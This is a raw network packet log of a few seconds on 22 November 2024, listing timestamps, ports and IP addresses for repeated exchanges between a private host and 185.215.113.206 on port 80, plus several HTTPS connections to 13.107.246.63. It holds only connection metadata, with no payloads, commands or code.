Nov 22, 2024 00:11:26.181720972 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.181756973 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.183564901 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.183600903 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.183648109 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.183667898 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.191099882 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.191137075 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.191170931 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.191195965 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.198657990 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.198729992 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.198791981 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.198853016 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.206321001 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.206392050 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.206413984 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.206439018 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.237261057 CET	443	49708	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:26.237752914 CET	49708	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:26.237777948 CET	443	49708	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:26.238173008 CET	49708	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:26.238178968 CET	443	49708	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:26.264775991 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.264846087 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.264923096 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.265016079 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.268147945 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.268215895 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.268251896 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.268299103 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.275103092 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.275170088 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.275208950 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.275259972 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.282000065 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.282062054 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.282072067 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.282116890 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.288919926 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.289005041 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.289026976 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.289074898 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.295686960 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.295753002 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.295792103 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.295855045 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.302423000 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.302511930 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.302546978 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.302603960 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.308860064 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.308947086 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.308998108 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.309050083 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.314924955 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.315040112 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.315052032 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.315079927 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.324749947 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.324831009 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.324866056 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.324923038 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.326525927 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.326584101 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.326654911 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.326709986 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.330194950 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.330249071 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.330319881 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.330372095 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.333625078 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.333683014 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.333748102 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.333800077 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.337274075 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.337336063 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.337376118 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.337435007 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.340905905 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.340965033 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.341033936 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.341094971 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.344552040 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.344611883 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.344675064 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.344734907 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.348320007 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.348356962 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.348391056 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.348426104 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.351831913 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.351913929 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.351948023 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.351999998 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.355431080 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.355498075 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.382673979 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.382771969 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.382772923 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.382812977 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.384480953 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.384516954 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.384530067 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.384552956 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.388123989 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.388176918 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.388211966 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.388252974 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.391794920 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.391808033 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.391853094 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.393939018 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.395370960 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.395473003 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.395499945 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.395519018 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.399029016 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.399081945 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.399127960 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.399171114 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.425661087 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.425728083 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.425795078 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.425955057 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.427529097 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.427592039 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.427649021 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.427700043 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.431183100 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.431245089 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.465929985 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.466044903 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.466145039 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.467473030 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.467539072 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.467607975 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.467659950 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.470565081 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.470633984 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.470684052 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.470737934 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.473670006 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.473727942 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.473797083 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.473850012 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.476748943 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.476804018 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.476887941 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.476943016 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.479738951 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.479800940 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.479896069 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.479958057 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.482595921 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.482651949 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.482734919 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.482789040 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.485471010 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.485522985 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.485524893 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.485572100 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.488375902 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.488413095 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.488436937 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.488457918 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.526012897 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.526103973 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.526118040 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.526165962 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.527091980 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.527153969 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.527570009 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.527622938 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.527755022 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.527805090 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.529421091 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.529480934 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.529495001 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.529527903 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.531438112 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.531502008 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.531572104 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.531625986 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.533507109 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.533586979 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.533588886 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.533633947 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.535973072 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.536043882 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.536047935 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.536094904 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.537596941 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.537668943 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.537714958 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.537770987 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.539637089 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.539699078 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.539755106 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.539810896 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.541722059 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.541755915 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.541785955 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.541795015 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.543760061 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.543823957 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.543864965 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.543917894 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.545767069 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.545819044 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.545833111 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.545867920 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.547861099 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.547924042 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.547995090 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.548052073 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.549875021 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.549937010 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.550004959 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.550082922 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.551903009 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.551969051 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.552040100 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.552097082 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.553944111 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.554008961 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.554055929 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.554112911 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.556056023 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.556091070 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.556124926 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.556139946 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.558023930 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.558092117 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.558151960 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.558384895 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.560089111 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.560157061 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.560200930 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.560257912 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.562068939 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.562120914 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.583435059 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.583514929 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.583543062 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.583594084 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.584474087 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.584536076 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.584566116 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.584616899 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.586510897 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.586586952 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.587407112 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.587420940 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.587572098 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.589306116 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.589353085 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.589381933 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.589396954 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.591370106 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.591423988 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.591475010 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.591521978 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.593390942 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.593446970 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.593492985 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.593539000 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.594871044 CET	443	49706	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:26.594940901 CET	443	49706	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:26.595019102 CET	49706	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:26.595274925 CET	49706	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:26.595290899 CET	443	49706	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:26.595304012 CET	49706	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:26.595310926 CET	443	49706	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:26.595495939 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.595549107 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.595616102 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.595663071 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.597495079 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.597554922 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.597590923 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.597636938 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.598349094 CET	49711	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:26.598401070 CET	443	49711	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:26.598469973 CET	49711	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:26.598614931 CET	49711	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:26.598623991 CET	443	49711	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:26.599586964 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.599598885 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.599642992 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.601564884 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.601622105 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.601720095 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.601767063 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.603617907 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.603672028 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.603713036 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.603760958 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.605632067 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.605683088 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.620529890 CET	443	49710	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:26.620594978 CET	443	49710	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:26.620663881 CET	49710	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:26.620817900 CET	49710	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:26.620817900 CET	49710	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:26.620832920 CET	443	49710	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:26.620841026 CET	443	49710	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:26.623164892 CET	49712	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:26.623199940 CET	443	49712	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:26.623317003 CET	49712	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:26.623457909 CET	49712	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:26.623478889 CET	443	49712	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:26.624651909 CET	443	49707	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:26.624684095 CET	443	49707	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:26.624720097 CET	49707	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:26.624733925 CET	443	49707	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:26.624883890 CET	49707	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:26.624883890 CET	49707	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:26.624902964 CET	443	49707	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:26.625077009 CET	443	49707	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:26.625119925 CET	443	49707	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:26.625189066 CET	49707	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:26.626789093 CET	49713	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:26.626816034 CET	443	49713	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:26.626887083 CET	49713	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:26.626929998 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.626985073 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.627027988 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.627047062 CET	49713	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:26.627062082 CET	443	49713	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:26.627070904 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.627985001 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.628034115 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.628041983 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.628077030 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.630040884 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.630095959 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.630152941 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.630240917 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.632049084 CET	80	49704	185.215.113.206	192.168.2.5
